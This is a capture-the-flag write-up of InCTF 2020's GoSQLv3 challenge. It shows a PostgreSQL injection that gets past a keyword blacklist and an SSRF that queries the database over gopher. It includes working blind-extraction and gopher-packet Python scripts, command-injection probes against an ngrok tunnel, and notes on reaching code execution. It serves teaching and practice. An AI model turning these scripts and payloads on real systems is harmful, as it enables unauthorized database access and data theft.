# TL;DR

In this post, I’ll be showing the path I took to solve GoSQLv3 challenge from teambi0s' InCTF that finished yesterday along with all the tricks and testing that didn’t work, because that’s as important as the actual solution since them can be valid in other situations.

If you believe there’s anything wrong, please feel free to contact me via Twitter or Telegram. Let’s begin!

# GoSQLv3

This challenge was based on a PostgreSQL Injection conditioned by a (quite nightmarish) blacklist, followed by a SSRF allowing us to make Gopher requests to the former database engine.

## SQL Injection

#### Challenge Code


<?php
include("./config.php");

$db_connection = pg_connect($host. $dbname .$user. $pass); if (!$db_connection) {
die("Connection failed");
}

$name =$_GET['name'];
$column =$_GET['column'];

$blacklist = "adm|min|\'|substr|mid|concat|chr|ord|ascii|left|right|for| |from|where|having|trim|pos|";$blacklist .= "insert|usern|ame|-|\/|go_to|or|and|#|\.|>|<|~|!|like|between|reg|rep|load|file|glob|cast|out|0b|\*|pg|con|%|to|";
$blacklist .= "rev|0x|limit|decode|conv|hex|in|from|\^|union|select|sleep|if|coalesce|max|proc|exp|group|rand|floor"; if (preg_match("/$blacklist/i", $name)){ die("Try Hard"); } if (preg_match("/$blacklist/i", $column)){ die("Try Hard"); }$query = "select " . $column . " from inctf2020 where username = " .$name ;

$ret = pg_query($db_connection, $query); if($ret){
while($row = pg_fetch_array($ret)){
if($row['username']=="admin"){ header("Location:{$row['go_to']}");
}
else{
echo "<h4>You are not admin " . "</h4>";
}

}
}else{
echo "<h4>Having a query problem" . "</h4><br>";
}

highlight_file(__FILE__);
?>


As you can see, this PHP code is taking the config.php file to propperly connect to the database, requesting both name and columns GET parameters, sanitizing them with the declared $blacklist, and finally executing the query with those values. The key of this stage was to make the query return $row['username'] to equal "admin", then the page would send us to the next stage.

Let’s start with the first variable in the query, column. To propperly test the queries I’ll be using the actual PostgreSQL database engine, but there are great alternatives like this.

### $column As far as I know, there are just two ways to declare column names in a PostgreSQL query. The first one is globally accepted (with no surrounding quotes) whereas the second one (surrounded by double quotes) only stands for PostgreSQL. No surrounding quotes: testdb=# SELECT testcolumn; ERROR: column "testcolumn" does not exist  Surrounded by double quotes: testdb=# SELECT "testcolumn"; ERROR: column "testcolumn" does not exist  This detail is key, as we will be specifying the columns names to UTF-16 encoding. According to PostgreSQL’s documentation, the syntax is: (online website to take the conversion from) test -> \u0074\u0065\u0073\u0074 -> U&'\0074\0065\0073\0074'  Let’s see if it is actually like that! testdb=# SELECT U&'\0074\0065\0073\0074'; ?column? ---------- test (1 row)  So, if everything is okay, why is the engine returning a string and not specifying a column? That’s why the double quotes ‘thingy’ was key. testdb=# SELECT U&\0074\0065\0073\0074; invalid command \0074 testdb=# SELECT U&'\0074\0065\0073\0074'; ?column? ---------- test (1 row) testdb=# SELECT U&"\0074\0065\0073\0074"; ERROR: column "test" does not exist  This is the best summary to take into account that No surroundings & Double Quotes (") stand for columns just after a SELECT statement, and Single Quotes (') always stand for strings. With that information, we can now build the first part of the query: testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f"; ERROR: column "username" does not exist  But this is not useful, as we won’t have enough information from PostgreSQL to propperly verify that our payload will success. Therefore, let’s create a simple table with such columns. testdb=# CREATE TABLE inctf2020 (id int, username text, go_to text); CREATE TABLE  And since we know an existing value in the database, it would be better to insert that value too. testdb=# INSERT INTO inctf2020 VALUES (1, 'admin', 'secret_place'); INSERT 0 1 testdb=# SELECT * FROM inctf2020; id | username | go_to ----+----------+-------------- 1 | admin | secret_place (1 row)  Now we are ready to resume our payload testing stage. testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020; username | go_to ----------+-------------- admin | secret_place (1 row)  There we go! We managed to SELECT everything from a column specifyed in UTF-16 encoding. Unfortunately, I came up quite fast with this part of the injection since it is one of the main Character Restriction Bypass techniques I studied before taking AWAE, so no extra tricks/tries here. ##$name

This stage’s objective is to write ‘admin’, for the query to return the desired columns with such value.

It would be as easy as writing ‘admin’, but that nightmarish blacklist appears again!

$blacklist = "adm|min|\'|...  This is checking whether the string contains ‘adm’, ‘min’ and '. Since we don’t have much options here, I usually refer to the String Functions Documentation and start searching for one that could help us building such string. ### Double Dollar Strings Before searching the function, we need to find a way to declare a string without Single Quotes. It should be easy, ain’t it? testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE username = "admin"; ERROR: column "admin" does not exist testdb=# SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE username = admin; ERROR: column "admin" does not exist  As we saw before, the only way to declare strings is by surrounding them by Single Quotes. So how are we going to declare it? Apparently, According to Postgres documentation, it allow us to surround a string with two dollar signs ($) in case we want it to me “more readable”.

testdb=# SELECT 'test';
?column?
----------
test
(1 row)

testdb=# SELECT $$test$$;
?column?
----------
test
(1 row)


Therefore, we are now ready to find a function to concatenate the string ‘admin’.

This function allow us to literally “Fill up the string to length length by prepending the characters fill (a space by default). If the string is already longer than length then it is truncated (on the right)."

testdb=# SELECT LPAD('world', 10, 'hello');
------------
helloworld
(1 row)


This is everything we need to concatenate every ‘admin’ letter. (It is not strictly needed to concatenate each character, but it is better to practice in case we could need it again)

This is what we end up getting:

testdb=# SELECT LPAD('n', 5, LPAD('i', 4, LPAD('m', 3, LPAD('d', 2, LPAD('a', 1, '')))));
-------
(1 row)


There we go! Now the query will return what we want it to.

### ‘||’ String Concatenation

However, isn’t there another (and easier) way to concatenate strings in Postgres? Yes, there is, but I remembered of it later on. However, we will be using the former technique again.

$python3 -c 'print("||".join("$$"+i+"$$" for i in "admin"))' $$a$$||$$d$$||$$m$$||$$i$$||$$n$$  testdb=# SELECT $$a$$||$$d$$||$$m$$||$$i$$||$$n$$; ?column? ---------- admin (1 row)  ### Getting the secret location Let’s submit the query to get the location of the next stage. $ curl -I 'http://MIRROR/?column=U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$'

HTTP/1.1 200 OK
Date: Sun, 02 Aug 2020 18:11:43 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=UTF-8


Hmm, it seems we are missing something… or actually not. The backend is taking more than two $_GET arguments, as &s are not URL Encoded and stand for the declaration of a new GET parameter. & -> (URL ENCODE) -> %26 $ curl -I 'http://MIRROR/?column=U%26"\0075\0073\0065\0072\006e\0061\006d\0065",U%26"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$'

HTTP/1.1 302 Found
Date: Sun, 02 Aug 2020 18:14:03 GMT
Server: Apache/2.4.18 (Ubuntu)
Location: ./feel_the_gosql_series.php
Content-Type: text/html; charset=UTF-8


There we go! The Location we must follow is at feel_the_gosql_series.php.

## SSRF approach

We are facing an input whose content will be executed along with cURL. Before enumerating which protocols the input allows, let’s see if anything can be injected.

### Code Injection (Fail)

If the backend is not using escapeshellarg() function, we could inject code by escaping the provided quotes or just executing $(command here). To propperly test this, a public and reachable IP address is needed, however, there’s a tool called ngrok that allow us to open our localhost to a domain controlled by them. There’s a more detailed post about how it works here. We could try something like: NGROK-TUNNEL/$(id)
NGROK-TUNNEL/'$(id) NGROK-TUNNEL/"$(id)
NGROK-TUNNEL/"'$(id)  But will never work, as it is actually using that function. (function in-action) ### Enumerating allowed protocols According to curl’s man page, its supported protocols are HTTP, HTTPS, FTP, FTPS, GOPHER, DICT, TELNET, LDAP or FILE, so let’s see which of them are actually allowed. #### Finding a Boolean way of enumerating them To propperly find out which of them are allowed, just by sending file://, a different message appears (Can't you solve, without using it!!!), so now we are ready to test that dictionary. (It is not so much long, so manually would work too) protos="http https ftp ftps gopher dict telnet ldap file"; for proto in$protos; do echo $proto; curl 'http://MIRROR/feel_the_gosql_series.php' -d "url=$proto://"; echo;done


The protocols that doesn’t throw any errors are HTTP(S), GOPHER, TELNET. If this was kind of eval’ing or processing the response of the query, we could inject PHP code by using any of those except Gopher, but the only thing we can do is client-side injection (HTML/JS), and it is worth-less.

#### Verifying that Gopher works (and the databse is in the usual port)

To client-side verify that gopher works, it is as simple as see if the query hangs or not.

Local verification:

(Hangs -> is waiting)

A> nc -lnvp 99
listening on [any] 99 ...

B> curl gopher://127.0.0.1:99

A> connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 42446
# (waiting for more packets)


(Doesn’t hang -> Connection refused aka not open port)

$curl gopher://127.0.0.1:81 curl: (7) Failed to connect to 127.0.0.1 port 81: Connection refused  In the challenge, port 5432 (PostgreSQL) hung. ### What_The_H*ll('gopher://')? In a nutshell, gopher is capable of sending TCP packets hardcoded in the URL following a specific syntax. This allow us to communicate with any service running on the backend, like the Postgres database we have just used to get the secret URL. (More information) Regarding the past GoSQLvX challenges, we should now make a request to the database through this protocol. There’s an already created tool called Gopherus whose creator is this challenges' too, and one of its modules is made for PostgreSQL. However, at the time of the challenge, he hadn’t submitted the update yet, so we should create our ‘plugin’ for it! ### PostgreSQL Gopher exploit creation… or not yet For the query to succeed, the username and database name must be known! ## Returning to the SQL Injection To remember, we were using this query to get the secret URL. http://MIRROR/?column=U%26"\0075\0073\0065\0072\006e\0061\006d\0065",U%26"\0067\006f\005f\0074\006f"&name=$$a$$||$$d$$||$$m$$||$$i$$||$$n$$  To continue, I will be using the actual query as a reference, for us to understand it better. SELECT U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f" FROM inctf2020 WHERE name = $$a$$||$$d$$||$$m$$||$$i$$||$$n$$  How can we retrieve the username and the database name? First of all, let’s see how to get them in a usual way. (cheatsheet I always refer to) #### User retrieval testdb=# SELECT USER; user ---------- postgres (1 row)  #### Database name retrieval testdb=# SELECT current_database(); current_database ------------------ testdb (1 row)  ### Boolean data retrieval To actually get those values, we must find a way to compare that value to a string we provide, and then know whether that comparison is TRUE or FALSE. To get that done, we will be LPAD‘ing the 'admin' string with N times 'a', being N the LENGTH of the result of a comparison. (Resulting in ‘admin’ when it is FALSE and ‘admi’ when it is TRUE) #### LPAD (yes, again, but the objective now is to reduce the passed string) testdb=# SELECT LPAD('123456', 3, ''); lpad ------ 123 (1 row)  #### VARCHAR(X) casting testdb=# SELECT '123456'::VARCHAR(3); varchar --------- 123 (1 row)  At the time writing this I have realized that doing this would have also done what we wanted it to do. testdb=# SELECT ($$a$$||$$d$$||$$m$$||$$i$$||$$n$$)::VARCHAR(3); varchar --------- adm (1 row)  #### Boolean word reduction Since ‘admin’ and false are of the same length, LPAD‘ing ‘adminN times '' being N the LENGTH of false, ‘admin' wouldn't be changed. However, if the result of the comparison is true, it will become ‘admi’ since the LENGTH of true is 4. testdb=# SELECT LENGTH((1=2)::TEXT); length -------- 5 (1 row) testdb=# SELECT LENGTH((1=1)::TEXT); length -------- 4 (1 row)  testdb=# SELECT LPAD('admin' ,LENGTH((1=1)::TEXT), ''); lpad ------ admi (1 row) testdb=# SELECT LPAD('admin' ,LENGTH((1=2)::TEXT), ''); lpad ------- admin (1 row)  #### Boolean word reduction based on the reduction of a variable The former comparisons can be undertaken treating engine variables too. testdb=# SELECT LPAD('admin' ,LENGTH((USER='randomuser')::TEXT), ''); lpad ------- admin (1 row) testdb=# SELECT LPAD('admin' ,LENGTH((USER='postgres')::TEXT), ''); lpad ------ admi (1 row)  However, bruteforcing this could take us years… and the CTF lasts 2 days! So let’s see if we can find out how to copy the usual LIKE '{char}%' technique. testdb=# SELECT LPAD('admin' ,LENGTH((USER::VARCHAR(1)='a')::TEXT), ''); lpad ------- admin (1 row) testdb=# SELECT LPAD('admin' ,LENGTH((USER::VARCHAR(1)='p')::TEXT), ''); lpad ------ admi (1 row)  #### Final ‘name’ payload 'lpad($$a$$||$$d$$||$$m$$||$$i$$||$$n$$,LENGTH((%s::VARCHAR(%s)=%s)::TEXT),$$a$$)' % (parameter_to_exfiltrate, offset, extracted_data+current_char)  • Notice the last $$a$$. Single Quotes are banned, and whereas  should be fine, I prefered to leave a random letter to make sure I didn’t mess up the query. #### Example 'lpad($$a$$||$$d$$||$$m$$||$$i$$||$$n$$,LENGTH((USER::VARCHAR(5)=ABCDE)::TEXT),$$a$$)'  This time, if the first 5 characters of the USER value are ABCDE, (USER::VARCHAR(5)=ABCDE) would be TRUE, LENGTH((USER::VARCHAR(5)=ABCDE)::TEXT) would be 4 and lpad($$a$$||$$d$$||$$m$$||$$i$$||$$n$$,LENGTH((USER::VARCHAR(5)=ABCDE)::TEXT),$$a$$) would return ‘admi’. ### Problems!! This query is quite interesting, and help us retrieving variables/return function values, but what if a value contains a banned character(s)? This query is useless in that case. #### Avoiding multiple character limitation Taking profit of the ‘||’ character concatenation, we can bypass all of the blacklist fields where the LENGTH of it is >1. Being USER test, and being 'st' blacklisted, this would work. $ python3 -c 'print("||".join("$$"+i+"$$" for i in "test"))'

$$t$$||$$e$$||$$s$$||$$t$$

testdb=# SELECT LPAD('admin' ,LENGTH((USER::VARCHAR(4)=$$t$$||$$e$$||$$s$$||$$t$$)::TEXT), );
------
(1 row)


However, there’s nothing we can do if the banned character is ‘e’, since it will always have to be present.

### Injection change

After a lot of struggle and the willing to move to another ‘easier’ challenge (well, perhaps I dind’t want that much), I came up with split_part function. It is almost the same as python's split(), but allows you to set the part of the split you ‘wanna take’.

#### What it is made for

testdb=# SELECT split_part('12345', '3', 1);
split_part
------------
12
(1 row)


#### (kind of) Abusing it

testdb=# SELECT split_part(USER, 'p', 2);
split_part
------------
ostgres
(1 row)

testdb=# SELECT split_part(USER, USER::VARCHAR(1), 2);
split_part
------------
ostgres
(1 row)

testdb=# SELECT split_part(USER, USER::VARCHAR(1), 2)::VARCHAR(1);
split_part
------------
o
(1 row)


By doing this, the variable can be extracted char-by-char (except its first character).

### Data Retrieval

Since I’m always keen on automating everything in the challenges I keep doing, this is the script I ended up using:

# -*- coding: utf-8 -*-

import requests
from string import ascii_letters, digits
import base64

url = "http://MIRROR"
#to_exfil = "USER"
#to_exfil = "version()"
to_exfil = "current_database()"

extracted = ""
offset = 1

while True:

for char in ascii_letters + digits + "@{}()\"=[]:;+":

params = {
'column': r'U&"\0075\0073\0065\0072\006e\0061\006d\0065",U&"\0067\006f\005f\0074\006f"',
'name': 'lpad($$a$$||$$d$$||$$m$$||$$i$$||$$n$$,LENGTH((split_part(%s,%s::VARCHAR(%s),2)::VARCHAR(1)=$$%s$$)::TEXT),$$a$$)' % (to_exfil, to_exfil, offset, char)
}

req = requests.get(url, params=params, allow_redirects=False)
#print(params)

if req.text == "Try Hard":
continue
else:
extracted += char
offset += 1
print(extracted)
break

else:
if extracted[-5::] == '?'*5:
print(f"EXTRACTED {to_exfil}: {extracted[:-5]}")
break
extracted += "?"
offset += 1

# USER = oneysingh (honeysingh)
# version() = (P)ostgreSQL?9?5?21?on?x86?64?pc?linux?gnu??compiled?by?gcc?(Ubuntu?5?4?0?6ubuntu1?16?04?12)?5?4?0?20160609??64?bit
# current_database() = osqlv3 (gosqlv3)

• Made the ? ‘thingy’ because I thought I needed version().

## Returning to the SSRF

Now that we know the username and the database, the environment can be built. I ended up creating the same user and database, not to mess the gopher packets too much (and I’m not too much into packets’ structure, syntax… I’m holding it as a pending subject).

By sending this command, we will be generating the needed traffic to make a query, and we will just have to change the command (and its length).

psql -h 127.0.0.1 -U honeysingh -d "dbname=gosqlv3 sslmode=disable" -c "SELECT 1;"

• Notice sslmode=disable flag, not to be sending the packet via TLS.

This is the Startup message (aka auth) that we will have to Copy > Hex Dump into our script.

The same happens with the Simple query, but the length of it is key for the query to work.

And the last Termination that is needed too.

### Joining it together

import binascii
import requests

def encode(s):
a = [s[i:i + 2] for i in range(0, len(s), 2)]
return "gopher://127.0.0.1:5432/_%" + "%".join(a)

url = "http://MIRROR/feel_the_gosql_series.php"

while True:
query = input("SQL> ") # MÁX 122 CHARS

if len(query) > 122:
print("Máx 122 chars")
continue

query_hex = binascii.hexlify(query.encode()).decode()
query_hex_packet = query_hex + "00"
query_len = len(query) + 5
query_len_packet = binascii.hexlify(chr(query_len).encode()).decode()

# Startup
test = "00000055000300007573657200686f6e657973696e676800646174616261736500676f73716c7633006170706c69636174696f6e5f6e616d65007073716c00636c69656e745f656e636f64696e6700555446380000"
# Query
test += f"51000000{query_len_packet}{query_hex_packet}"
# Termination
test += "5800000004"

to_send = encode(test)

req = requests.post(url, data={'url': to_send})
print(req.text)

• The encode function was taken from Gopherus’ MySQL exploit and it surrounds each two hex characters by a %.
• The query_len was the actual length of the query + 5, and the packet value had to be the hex value of query_len.
• The limitation to 122 chars is related to the query_len changing drastically.

## Finding the flag by an unusual way

By listing permissions, I noticed an existing table called cmd_exec which I could select.

SQL> SELECT grantee,table_catalog,table_schema,table_name,privilege_type FROM information_schema.role_table_grants
<!DOCTYPE html>
<html>
<body>
<h3>You have one functionality that you can cURL</h3>
<form method=POST>
put url : <input type="text" name="url">
<button type="submit">GO</button>
</form>
</body>
</html>

S→application_namepsqlS↓client_encodingUTF8S↨DateStyleISO, MDYS↓integer_datetimesonSntervalStylepostgresS§is_superuseroffS↓server_encodingUTF8S→server_version9.5.21S%session_authorizationhoneysinghS#standard_conforming_stringsonS§TimeZoneEtc/UTCK♀♠=‼f�)Z♣IT�♣grantee/�☻♦‼������table_catalog/�♥♦‼������table_schema/�♦♦‼������table_name/�♣♦‼������privilege_type/�♠♦‼������D<♣
honeysinghgosqlv3♠public♣eeeee♠INSERTD<♣
honeysinghgosqlv3♠public♣eeeee♠SELECTD<♣
honeysinghgosqlv3♠public♣eeeee♠UPDATED<♣
honeysinghgosqlv3♠public♣eeeee♠DELETED>♣
honeysinghgosqlv3♠public♣eeeeTRUNCATED@♣
honeysinghgosqlv3♠public♣eeeee
REFERENCESD=♣
honeysinghgosqlv3♠public♣eeeeeTRIGGERD?♣
honeysinghgosqlv3♠publifooooooo♠INSERTD?♣
honeysinghgosqlv3♠publifooooooo♠SELECTD?♣
honeysinghgosqlv3♠publifooooooo♠UPDATED?♣
honeysinghgosqlv3♠publifooooooo♠DELETEDA♣
honeysinghgosqlv3♠publifooooooTRUNCATEDC♣
honeysinghgosqlv3♠publifooooooo
REFERENCESD@♣
honeysinghgosqlv3♠publifoooooooTRIGGERD<♣
honeysinghgosqlv3♠public♣ddddd♠INSERTD<♣
honeysinghgosqlv3♠public♣ddddd♠SELECTD<♣
honeysinghgosqlv3♠public♣ddddd♠UPDATED<♣
honeysinghgosqlv3♠public♣ddddd♠DELETED>♣
honeysinghgosqlv3♠public♣ddddTRUNCATED@♣
honeysinghgosqlv3♠public♣ddddd
REFERENCESD=♣
honeysinghgosqlv3♠public♣dddddTRIGGERD:♣♣inctfgosqlv3♠publicmd_exec♠INSERTD:♣♣inctfgosqlv3♠publicmd_exec♠SELECTD:♣♣inctfgosqlv3♠publicmd_exec♠UPDATED:♣♣inctfgosqlv3♠publicmd_exec♠DELETED<♣♣inctfgosqlv3♠publicmd_exeTRUNCATED>♣♣inctfgosqlv3♠publicmd_exec
REFERENCESD;♣♣inctfgosqlv3♠publicmd_execTRIGGERD@♣
honeysinghgosqlv3♠public        inctf2020♠SELECTC♫SELECT 29Z♣I


Selecting it for the lulz brought us the flag!!

SQL> SELECT * FROM cmd_exec
<!DOCTYPE html>
<html>
<body>
<h3>You have one functionality that you can cURL</h3>
<form method=POST>
put url : <input type="text" name="url">
<button type="submit">GO</button>
</form>
</body>
</html>

S→application_namepsqlS↓client_encodingUTF8S↨DateStyleISO, MDYS↓integer_datetimesonSntervalStylepostgresS§is_superuseroffS↓server_encodingUTF8S→server_version9.5.21S%session_authorizationhoneysinghS#standard_conforming_stringsonS§TimeZoneEtc/UTCK♀      [qi�↕Z♣IT#☺cmd_output☺�♥☺↓������DM☺CFLAG: inctf{Life_Without_Gopherus_not_having_postgreSQL_exploit_:(}D
SELECT 2Z♣I


Obviously, this is not the intended way to do it. As SpyD3r states in his official writeup, "The GoSQLv3 challenge got 8 solves but I would say the only one full solve that was RCE by the EpicLeetTeam(Congratulations for the first blood) but mistakenly the team has saved the flag on one of the table and most of the team just read the flag from that table."

However, I felt it actually was, since the user was not superadmin and there was no way to COPY TO or FROM a program or file.

Nevertheless, SpyD3r shows how to take the privileges from a table that had them, uploading a library and executing commands as the system user. However, as the table name was cmd_exec (and thats the name that appears in every PostgreSQL cheatsheet) perhaps using that set role trick was enough to COPY FROM PROGRAM and read the flag.

To finish with, I’d like to thank Tarunkant (aka SpyD3r) for the support and the great challenge, because I liked every piece of it and learnt a ton! and teambi0s for the CTF.

I hope you liked it, or at least learnt something!

Jorge